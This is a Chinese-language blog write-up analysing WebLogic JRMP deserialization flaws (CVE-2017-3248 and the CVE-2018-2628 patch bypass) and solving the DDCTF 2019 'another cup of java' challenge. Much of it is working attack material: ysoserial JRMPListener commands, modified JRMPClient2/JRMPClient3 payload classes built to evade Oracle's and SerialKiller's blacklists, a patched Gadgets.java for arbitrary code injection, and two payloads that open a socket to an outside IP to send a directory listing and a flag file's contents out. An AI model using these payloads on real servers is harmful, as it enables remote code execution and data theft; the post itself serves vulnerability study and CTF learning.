这篇文章将会分析weblogic JRMP问题,进而去回顾2019DDCTF中再来一杯java的那个题目,文章如果有理解错误、写错的地方,麻烦师傅们斧正。

环境搭建
1
2
3
4
5
6
7
8
$ cat docker-compose.yml
version: '2'
services:
weblogic:
image: vulhub/weblogic
ports:
- "8453:8453"
- "7001:7001"

然后进入容器修改/root/Oracle/Middleware/user_projects/domains/base_domain/bin/setDomainEnv.sh

1
2
3
4
5
if [ "${debugFlag}" = "true" ] ; then
JAVA_DEBUG="-Xdebug -Xnoagent -Xrunjdwp:transport=dt_socket,address=${DEBUG_PORT},server=y,suspend=n -Djava.compiler=NONE"
export JAVA_DEBUG
JAVA_OPTIONS="${JAVA_OPTIONS} ${enableHotswapFlag} -ea -da:com.bea... -da:javelin... -da:weblogic... -ea:com.bea.wli... -ea:com.bea.broker... -ea:com.bea.sbconsole..."
export JAVA_OPTIONS

找到这个,在前面加上

1
2
debugFlag="true"
expport debugFlag

重启一下,然后远程调试使用的idea,我把本地调试的代码打包放到附件里,然后导入library然后remote即可。

CVE-2017-3248

先看下攻击姿势

1
2
3
4
java -cp ysoserial-exp.jar  ysoserial.exploit.JRMPListener 9997 CommonsCollections1 "touch /tmp/exp"
python exp.py 127.0.0.1 7001 ~/Desktop/漏洞环境/weblogic/ysoserial-exp.jar 10.13.66.158 9997 JRMPClient

python脚本:https://www.exploit-db.com/exploits/44553

来继续了解下什么是JRMP协议和RMI

1
2
3
4
5
6
JRMP协议:Java远程消息交换协议 JRMP 即 Java Remote MessagingProtocol ,是特定于 Java 技术的、用于查找和引用远程对象的协议。这是运行在 Java 远程方法调用 RMI 之下、TCP/IP 之上的线路层协议。
RMI:是Remote Method Invocation的简称,是J2SE的一部分,
能够让程序员开发出基于Java的分布式应用。一个RMI对象是一个远程Java对象,
可以从另一个Java虚拟机上(甚至跨过网络)调用它的方法,
可以像调用本地Java对象的方法一样调用远程对象的方法,
使分布在不同的JVM中的对象的外表和行为都像本地对象一样。

再来看下CVE-2017-3248部分调用链

这条链上反序列化中首先利用的还是t3协议,这篇文章我想分析的是从cve-2017-3248CVE-2018-2628再到DDCTF的那道java题目来聊一聊防御与绕过。

t3反序列化我是看的Dlive大佬的这篇文章http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/,我们通过看文章可以知道,在t3协议通信的过程中会传输序列化数据,也就会自动的去反序列化,那么利用Gadgets,比如说传输Commons-Collections的payload就可以实现攻击。

在我们使用exp.py将payload攻击过去的过程中,也是利用的T3来实现的反序列化,但是如果在项目中的话找到反序列化点就可以了。

我们来看看JRMPClient中如何构造的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
public Registry getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
Registry.class
}, obj);
return proxy;
}

在最后面我们可以看到使用了动态代理机制,这有什么作用呢

1
动态代理其实就是java.lang.reflect.Proxy类动态的根据您指定的所有接口生成一个class byte,该class会继承Proxy类,并实现所有你指定的接口(您在参数中传入的接口数组);然后再利用您指定的classloader将 class byte加载进系统,最后生成这样一个类的对象,并初始化该对象的一些值,如invocationHandler,以即所有的接口对应的Method成员。 初始化之后将对象返回给调用的客户端。这样客户端拿到的就是一个实现你所有的接口的Proxy对象

这里我并不是十分的理解动态代理,但是我知道这里需要去重点关注的是RemoteObjectInvocationHandler,这个类在构造方法中会去调用父类的构造方法,然后在反序列化的过程中会因为继承的原因去调用RemoteObject

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
private void readObject(ObjectInputStream paramObjectInputStream)
throws IOException, ClassNotFoundException
{
String str1 = paramObjectInputStream.readUTF();
if ((str1 == null) || (str1.length() == 0))
{
this.ref = ((RemoteRef)paramObjectInputStream.readObject());
}
else
{
String str2 = "sun.rmi.server." + str1;

Class localClass = Class.forName(str2);
try
{
this.ref = ((RemoteRef)localClass.newInstance());
}
catch (InstantiationException localInstantiationException)
{
throw new ClassNotFoundException(str2, localInstantiationException);
}
catch (IllegalAccessException localIllegalAccessException)
{
throw new ClassNotFoundException(str2, localIllegalAccessException);
}
catch (ClassCastException localClassCastException)
{
throw new ClassNotFoundException(str2, localClassCastException);
}
this.ref.readExternal(paramObjectInputStream);
}
}

这里因为绑定的ref为UnicastRef对象,那么就相当于去调用UnicastRef.readexternal

1
2
3
public void readExternal(ObjectInput var1) throws IOException, ClassNotFoundException {
this.ref = LiveRef.read(var1, false);
}

概念补充:

1
2
Java默认的序列化机制非常简单,而且序列化后的对象不需要再次调用构造器重新生成,但是在实际中,我们可以会希望对象的某一部分不需要被序列化,或者说一个对象被还原之后,其内部的某些子对象需要重新创建,从而不必将该子对象序列化。 在这些情况下,我们可以考虑实现Externalizable接口从而代替Serializable接口来对序列化过程进行控制。
Externalizable接口extends Serializable接口,而且在其基础上增加了两个方法:writeExternal()和readExternal()。这两个方法会在序列化和反序列化还原的过程中被自动调用,以便执行一些特殊的操作。

继续往下走,可以看到打开了到JRMP服务端的连接,然后进入DGC的dirty在这里打通了了Client和Server。

到了这里会有种熟悉的感觉,因为这是CommonsCollections中的需要的点。

利用JRMPClient这个Gadget去调用JRMPListener,然后JRMPListener利用CommonsCollections这个Gadget来实现RCE。

CVE-2018-2628

其实到这里我大概明白了这是怎么一回事,那么下一步去看一下官方如何去防御的,以及如何去绕过。

官方是在InboundMsgAbbrev.class类中新添了一个resolveProxyClass方法

1
2
3
4
5
6
7
8
9
10
11
12
protected Class<?> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;

for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if (intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}

return super.resolveProxyClass(interfaces);

ban掉了java.rmi.registry.Registry接口,这里我们需要知道,resolveProxyClass方法只是在反序列化代理对象时才会被调用,也就是说在payload的最后一步有没有办法不使用代理呢

lpwd大佬给的payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
@SuppressWarnings ( {
"restriction"
} )
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient2 extends PayloadRunner implements ObjectPayload<Object> {

public Object getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
// RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
// Registry proxy = (Registry) Proxy.newProxyInstance(JRMPClient.class.getClassLoader(), new Class[] {
// Registry.class
// }, obj);
return ref;
}


public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient2.class.getClassLoader());
PayloadRunner.run(JRMPClient2.class, args);
}
}

简化掉了JRMPClient,没有了代理在反序列化的时候就不会调用resovelProxyClass,进而绕过了。

xxlegend大佬是利用其他接口Activator

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
@PayloadTest( harness="ysoserial.test.payloads.JRMPReverseConnectSMTest")
@Authors({ Authors.MBECHLER })
public class JRMPClient3 extends PayloadRunner implements ObjectPayload<Activator> {

public Activator getObject ( final String command ) throws Exception {

String host;
int port;
int sep = command.indexOf(':');
if ( sep < 0 ) {
port = new Random().nextInt(65535);
host = command;
}
else {
host = command.substring(0, sep);
port = Integer.valueOf(command.substring(sep + 1));
}
ObjID id = new ObjID(new Random().nextInt()); // RMI registry
TCPEndpoint te = new TCPEndpoint(host, port);
UnicastRef ref = new UnicastRef(new LiveRef(id, te, false));
RemoteObjectInvocationHandler obj = new RemoteObjectInvocationHandler(ref);
Activator proxy = (Activator) Proxy.newProxyInstance(JRMPClient3.class.getClassLoader(), new Class[] {
Activator.class
}, obj);
return proxy;
}
public static void main ( final String[] args ) throws Exception {
Thread.currentThread().setContextClassLoader(JRMPClient3.class.getClassLoader());
PayloadRunner.run(JRMPClient3.class, args);
}
}

修改了源码之后

1
mvn clean package -DskipTests

重新编译一下

DDCTF2019-再来一杯java

然后来看看2019DDCTF的那道java题目,当时拿到了源码,但是并没做出来,后来一直鸽,正好这段时间审java,遇到一样的知识点,再捡起来看看

题目地址以及信息,有想看看的可以看下

1
2
3
4
http://c1n0h7ku1yw24husxkxxgn3pcbqu56zj.ddctf2019.com:5023/

源码地址:/proc/self/fd/15
admin token: e/0YtlMi8D4nOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

前面不再多说了,反转+padding,

其实看代码可以看到,有很明显的反序列化的地方,但是利用了github的开源工具SerialKiller,这道题目的考点也是让你去绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
@RequestMapping({"/nicaibudao_hahaxxxx/deserial"})
public String deserialize(String base64Info) {
ByteArrayInputStream bais = new ByteArrayInputStream(Base64.getDecoder().decode(base64Info));
UserInfo userInfo = null;

try {
ObjectInputStream ois = new SerialKiller(bais, this.serialKillerConf.getConfig());
userInfo = (UserInfo)ois.readObject();
ois.close();
} catch (Exception var5) {
var5.printStackTrace();
return null;
}

return JSON.toJSONString(userInfo);
}

SerialKiller这个工具防御反序列化的方法呢也是通过重写ObjectInputStreamresolveClass方法来实现的

SerialKiller.conf.xml里面我们可以看到哪些类在黑名单里面

这里我们如果利用JRMP去攻击的话,会发现

1
<regexp>java\.rmi\.registry\.Registry$</regexp>

也就是说我们使用的第一份payload是攻击不成功的,那么显然bypass后的是可以成功的,我们来试试,利用URLDNS这个Gadget测试一下

可以看到已经有请求过来了

然后题目中还无法直接执行命令,但是既然可以反序列化了,可以使用代码执行,将src/main/java/ysoserial/payloads/util/Gadgets.java修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public static <T> T createTemplatesImpl ( final String command, Class<T> tplClass, Class<?> abstTranslet, Class<?> transFactory )
throws Exception {
final T templates = tplClass.newInstance();

// use template gadget class
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
pool.insertClassPath(new ClassClassPath(abstTranslet));
final CtClass clazz = pool.get(StubTransletPayload.class.getName());
// run command in static initializer
// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
// String cmd = "java.lang.Runtime.getRuntime().exec(\"" +
// command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
// "\");";
String cmd="";
//如果以code:开头,认为是代码,否则认为是命令
if(!command.startsWith("code:")){
cmd = "java.lang.Runtime.getRuntime().exec(\"" +
command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\"") +
"\");";
}
else{
System.err.println("Java Code Mode:"+command.substring(5));//使用stderr输出,防止影响payload的输出
cmd = command.substring(5);
}
clazz.makeClassInitializer().insertAfter(cmd);
// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
clazz.setName("ysoserial.Pwner" + System.nanoTime());
CtClass superC = pool.get(abstTranslet.getName());
clazz.setSuperclass(superC);

final byte[] classBytes = clazz.toBytecode();

// inject class bytes into instance
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
classBytes, ClassFiles.classAsBytes(Foo.class)
});

// required to make TemplatesImpl happy
Reflections.setFieldValue(templates, "_name", "Pwnr");
Reflections.setFieldValue(templates, "_tfactory", transFactory.newInstance());
return templates;
}

而且还得注意一个问题,既然想要执行命令的话需要有可以使用的Gadget,

可以直接使用ysoserial中的common-beanutils模块,可以使用这个

构造列目录的代码的payload

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file=new java.io.File("/");java.io.File[] fileLists = file.listFiles();java.net.Socket s = new java.net.Socket("74.120.175.101",9998);for (int i = 0; i < fileLists.length; i++) {java.io.OutputStream out = s.getOutputStream();out.write(fileLists[i].getName().getBytes());out.write("\n".getBytes());}s.close();'

读flag的payload

1
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 9997 CommonsBeanutils1 'code:java.io.File file = new java.io.File("/flag/flag_7ArPnpf3XW8Npsmj");java.io.InputStream in = null;in = new java.io.FileInputStream(file);int tempbyte;java.net.Socket s = new java.net.Socket("74.120.175.101",9998);while ((tempbyte = in.read()) != -1) {java.io.OutputStream out = s.getOutputStream();out.write(tempbyte);}in.close();s.close();'

参考:

1
2
3
4
5
6
http://d1iv3.me/2018/06/05/CVE-2015-4852-Weblogic-反序列化RCE分析/
https://xz.aliyun.com/t/2650
https://blog.csdn.net/lmy86263/article/details/72594760
https://www.cnblogs.com/xt0810/p/3640167.html
https://www.anquanke.com/post/id/162782#h2-6
https://xz.aliyun.com/t/4862